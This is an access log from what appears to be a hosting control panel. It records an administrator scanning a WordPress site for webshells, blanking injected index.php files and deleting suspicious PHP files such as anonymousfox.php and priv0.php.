["2026-05-19 09:22:39", "114.219.182.210:49239", "POST", "/plugin?action=a&name=webshell_check&s=get_scan_progress", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 5, 200, 106, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:22:40", "114.219.182.210:49239", "POST", "/plugin?action=a&name=webshell_check&s=get_scan_progress", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 5, 200, 106, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:22:42", "114.219.182.210:49239", "POST", "/plugin?action=a&name=webshell_check&s=get_scan_progress", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 4, 200, 83, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:22:43", "114.219.182.210:49239", "POST", "/plugin?action=a&name=webshell_check&s=get_scan_result", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'rows': '50', 'p': '1'}", 740, 200, 1282, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:22:45", "114.219.182.210:49239", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-content/plugins/google-listings-and-ads/vendor/googleads/google-ads-php/metadata/Google/Ads/GoogleAds/V20/Common/Segments.php'}", 2, 200, 131, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:22:56", "114.219.182.210:49239", "POST", "/plugin?action=a&name=webshell_check&s=remove_file", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'filepath': '/www/wwwroot/dewenlabels.com/wp-content/plugins/google-listings-and-ads/vendor/googleads/google-ads-php/metadata/Google/Ads/GoogleAds/V20/Common/Segments.php'}", 15, 200, 88, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:22:57", "114.219.182.210:49239", "POST", "/plugin?action=a&name=webshell_check&s=get_scan_result", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'rows': '50', 'p': '1'}", 736, 200, 1270, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:22:58", "114.219.182.210:48914", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-content/plugins/wp-compat/wp-compat.php'}", 3, 200, 3611, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:23:03", "114.219.182.210:48914", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-content/themes/twentytwentythree/patterns/footer-default.php'}", 2, 200, 586, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:23:06", "114.219.182.210:48914", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-content/uploads/dmwz1ls/jludvfz/index.php'}", 2, 200, 469, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:23:16", "114.219.182.210:48914", "POST", "/files?action=SaveFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-content/uploads/dmwz1ls/jludvfz/index.php', 'encoding': 'utf-8', 'data': '<?php  ?>'}", 104, 200, 112, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:23:19", "114.219.182.210:48914", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-content/uploads/dmwz1ls/jludvfz/index.php'}", 2, 200, 162, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:23:22", "114.219.182.210:48914", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-content/uploads/dmwz1ls/jludvfz/pxzk1ul/index.php'}", 2, 200, 131, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:23:26", "114.219.182.210:48914", "POST", "/plugin?action=a&name=webshell_check&s=remove_file", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'filepath': '/www/wwwroot/dewenlabels.com/wp-content/uploads/dmwz1ls/jludvfz/pxzk1ul/index.php'}", 15, 200, 88, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:23:27", "114.219.182.210:48914", "POST", "/plugin?action=a&name=webshell_check&s=get_scan_result", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'rows': '50', 'p': '1'}", 738, 200, 1279, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:23:27", "114.219.182.210:49239", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-content/uploads/flnmcth/z1qdegi/index.php'}", 3, 200, 469, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:23:32", "114.219.182.210:49239", "POST", "/files?action=SaveFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-content/uploads/flnmcth/z1qdegi/index.php', 'encoding': 'utf-8', 'data': '<?php  ?>'}", 8, 200, 112, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:23:34", "114.219.182.210:49239", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-content/uploads/flnmcth/z1qdegi/g1rhykp/index.php'}", 2, 200, 131, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:23:38", "114.219.182.210:49239", "POST", "/plugin?action=a&name=webshell_check&s=remove_file", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'filepath': '/www/wwwroot/dewenlabels.com/wp-content/uploads/flnmcth/z1qdegi/g1rhykp/index.php'}", 14, 200, 88, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:23:39", "114.219.182.210:49239", "POST", "/plugin?action=a&name=webshell_check&s=get_scan_result", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'rows': '50', 'p': '1'}", 1292, 200, 1253, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:23:40", "114.219.182.210:48914", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-content/uploads/flnmcth/z1qdegi/g1rhykp/index.php'}", 2, 200, 71, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:23:43", "114.219.182.210:48914", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-content/uploads/jeqlida/gtodzkx/index.php'}", 3, 200, 469, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:23:47", "114.219.182.210:48914", "POST", "/files?action=SaveFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-content/uploads/jeqlida/gtodzkx/index.php', 'encoding': 'utf-8', 'data': '<?php  ?>'}", 8, 200, 112, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:23:50", "114.219.182.210:48914", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-content/uploads/uosx1gm/ozfkxvq/index.php'}", 2, 200, 469, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:23:55", "114.219.182.210:48914", "POST", "/files?action=SaveFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-content/uploads/uosx1gm/ozfkxvq/index.php', 'encoding': 'utf-8', 'data': '<?php ?>'}", 8, 200, 112, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:23:58", "114.219.182.210:48914", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-content/uploads/flnmcth/z1qdegi/g1rhykp/ccv.php'}", 2, 200, 131, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:24:01", "114.219.182.210:48914", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-content/uploads/flnmcth/z1qdegi/g1rhykp/ccv.php'}", 2, 200, 131, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:24:04", "114.219.182.210:48914", "POST", "/plugin?action=a&name=webshell_check&s=remove_file", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'filepath': '/www/wwwroot/dewenlabels.com/wp-content/uploads/flnmcth/z1qdegi/g1rhykp/ccv.php'}", 15, 200, 88, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:24:05", "114.219.182.210:48914", "POST", "/plugin?action=a&name=webshell_check&s=get_scan_result", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'rows': '50', 'p': '1'}", 736, 200, 1276, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:24:06", "114.219.182.210:49239", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-content/uploads/dmwz1ls/jludvfz/pxzk1ul/pvt.php'}", 2, 200, 131, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:24:10", "114.219.182.210:49239", "POST", "/plugin?action=a&name=webshell_check&s=remove_file", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'filepath': '/www/wwwroot/dewenlabels.com/wp-content/uploads/dmwz1ls/jludvfz/pxzk1ul/pvt.php'}", 21, 200, 88, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:24:11", "114.219.182.210:49239", "POST", "/plugin?action=a&name=webshell_check&s=get_scan_result", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'rows': '50', 'p': '1'}", 735, 200, 1275, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:24:11", "114.219.182.210:48914", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-content/uploads/jeqlida/gtodzkx/xaulopq/anonymousfox.php'}", 2, 200, 131, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:24:15", "114.219.182.210:49239", "POST", "/plugin?action=a&name=webshell_check&s=remove_file", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'filepath': '/www/wwwroot/dewenlabels.com/wp-content/uploads/jeqlida/gtodzkx/xaulopq/anonymousfox.php'}", 15, 200, 88, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:24:17", "114.219.182.210:49239", "POST", "/plugin?action=a&name=webshell_check&s=get_scan_result", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'rows': '50', 'p': '1'}", 775, 200, 1257, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:24:21", "114.219.182.210:49239", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/Text/hvsmdki/1qjzitp/hbmzirl/function.debug.php'}", 2, 200, 607, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:24:26", "114.219.182.210:49239", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/Text/nq1myaw/dnemzbg/index.php'}", 2, 200, 469, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:24:32", "114.219.182.210:49239", "POST", "/files?action=SaveFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/Text/nq1myaw/dnemzbg/index.php', 'encoding': 'utf-8', 'data': '<?php ?>'}", 71, 200, 112, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:24:34", "114.219.182.210:49239", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/Text/vfgsbqo/pkaegxl/index.php'}", 3, 200, 469, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:24:39", "114.219.182.210:49239", "POST", "/files?action=SaveFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/Text/vfgsbqo/pkaegxl/index.php', 'encoding': 'utf-8', 'data': '<?php  ?>'}", 8, 200, 112, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:24:41", "114.219.182.210:49239", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/Text/xlesjbk/kwoqreg/index.php'}", 2, 200, 469, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:24:45", "114.219.182.210:49239", "POST", "/files?action=SaveFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/Text/xlesjbk/kwoqreg/index.php', 'encoding': 'utf-8', 'data': '<?php ?>'}", 9, 200, 112, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:24:48", "114.219.182.210:49239", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/Text/nq1myaw/dnemzbg/pqcetnj/priv0.php'}", 2, 200, 131, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:24:52", "114.219.182.210:49239", "POST", "/plugin?action=a&name=webshell_check&s=remove_file", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'filepath': '/www/wwwroot/dewenlabels.com/wp-includes/Text/nq1myaw/dnemzbg/pqcetnj/priv0.php'}", 25, 200, 88, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:24:53", "114.219.182.210:49239", "POST", "/plugin?action=a&name=webshell_check&s=get_scan_result", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'rows': '50', 'p': '1'}", 735, 200, 1251, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:24:53", "114.219.182.210:48914", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/Text/xlesjbk/kwoqreg/wvnqbrx/anonfox.php'}", 2, 200, 131, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:24:56", "114.219.182.210:48914", "POST", "/plugin?action=a&name=webshell_check&s=remove_file", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'filepath': '/www/wwwroot/dewenlabels.com/wp-includes/Text/xlesjbk/kwoqreg/wvnqbrx/anonfox.php'}", 15, 200, 88, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:24:57", "114.219.182.210:48914", "POST", "/plugin?action=a&name=webshell_check&s=get_scan_result", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'rows': '50', 'p': '1'}", 736, 200, 1232, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:25:02", "114.219.182.210:48914", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/sitemaps/ewipxlz/nke1ovq/index.php'}", 2, 200, 469, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:25:06", "114.219.182.210:48914", "POST", "/files?action=SaveFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/sitemaps/ewipxlz/nke1ovq/index.php', 'encoding': 'utf-8', 'data': '<?php?>'}", 8, 200, 112, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:25:07", "114.219.182.210:48914", "POST", "/files?action=SaveFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/sitemaps/ewipxlz/nke1ovq/index.php', 'encoding': 'utf-8', 'data': '<?php ?>'}", 10, 200, 126, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:25:11", "114.219.182.210:48914", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/sitemaps/enqpgkz/gnsdqvi/index.php'}", 2, 200, 469, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:25:15", "114.219.182.210:48914", "POST", "/files?action=SaveFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/sitemaps/enqpgkz/gnsdqvi/index.php', 'encoding': 'utf-8', 'data': '<?php  ?>'}", 8, 200, 112, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:25:18", "114.219.182.210:48914", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/sitemaps/fwubjdc/lomak1p/index.php'}", 2, 200, 469, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:25:21", "114.219.182.210:48914", "POST", "/files?action=SaveFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/sitemaps/fwubjdc/lomak1p/index.php', 'encoding': 'utf-8', 'data': '<?php  ?>'}", 74, 200, 112, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:25:24", "114.219.182.210:48914", "GET", "/favicon.ico?", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 4, 200, 4286, "image/vnd.microsoft.icon", "47.254.126.238:42291", "None"]
["2026-05-19 09:25:24", "114.219.182.210:49239", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/sitemaps/givymbz/ytmfqxr/index.php'}", 3, 200, 469, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:25:29", "114.219.182.210:49239", "POST", "/files?action=SaveFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/sitemaps/givymbz/ytmfqxr/index.php', 'encoding': 'utf-8', 'data': '<?php ?>'}", 8, 200, 112, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:25:31", "114.219.182.210:49239", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/sitemaps/givymbz/ytmfqxr/index.php'}", 3, 200, 161, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:25:34", "114.219.182.210:49239", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/sitemaps/nthemwz/lpqfmis/vgtfqmb/attack.php'}", 2, 200, 608, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:25:37", "114.219.182.210:49239", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/sitemaps/ojat1ng/nzhyw1l/index.php'}", 2, 200, 469, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:25:41", "114.219.182.210:49239", "POST", "/files?action=SaveFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/sitemaps/ojat1ng/nzhyw1l/index.php', 'encoding': 'utf-8', 'data': '<?php  ?>'}", 8, 200, 112, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:25:44", "114.219.182.210:49239", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/sitemaps/ojat1ng/nzhyw1l/index.php'}", 2, 200, 162, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:25:51", "114.219.182.210:49239", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/sitemaps/osphtyu/vwdqbsr/index.php'}", 2, 200, 469, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:25:55", "114.219.182.210:49239", "POST", "/files?action=SaveFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/sitemaps/osphtyu/vwdqbsr/index.php', 'encoding': 'utf-8', 'data': '<?php  ?>'}", 10, 200, 112, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:25:58", "114.219.182.210:49239", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/sitemaps/ewipxlz/nke1ovq/yhdrfaw/m.php'}", 2, 200, 131, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:26:01", "114.219.182.210:49239", "POST", "/plugin?action=a&name=webshell_check&s=remove_file", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'filepath': '/www/wwwroot/dewenlabels.com/wp-includes/sitemaps/ewipxlz/nke1ovq/yhdrfaw/m.php'}", 18, 200, 88, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:26:02", "114.219.182.210:48914", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/sitemaps/enqpgkz/gnsdqvi/idhbwvj/privte.php'}", 2, 200, 131, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:26:02", "114.219.182.210:49239", "POST", "/plugin?action=a&name=webshell_check&s=get_scan_result", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'rows': '50', 'p': '1'}", 734, 200, 1240, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
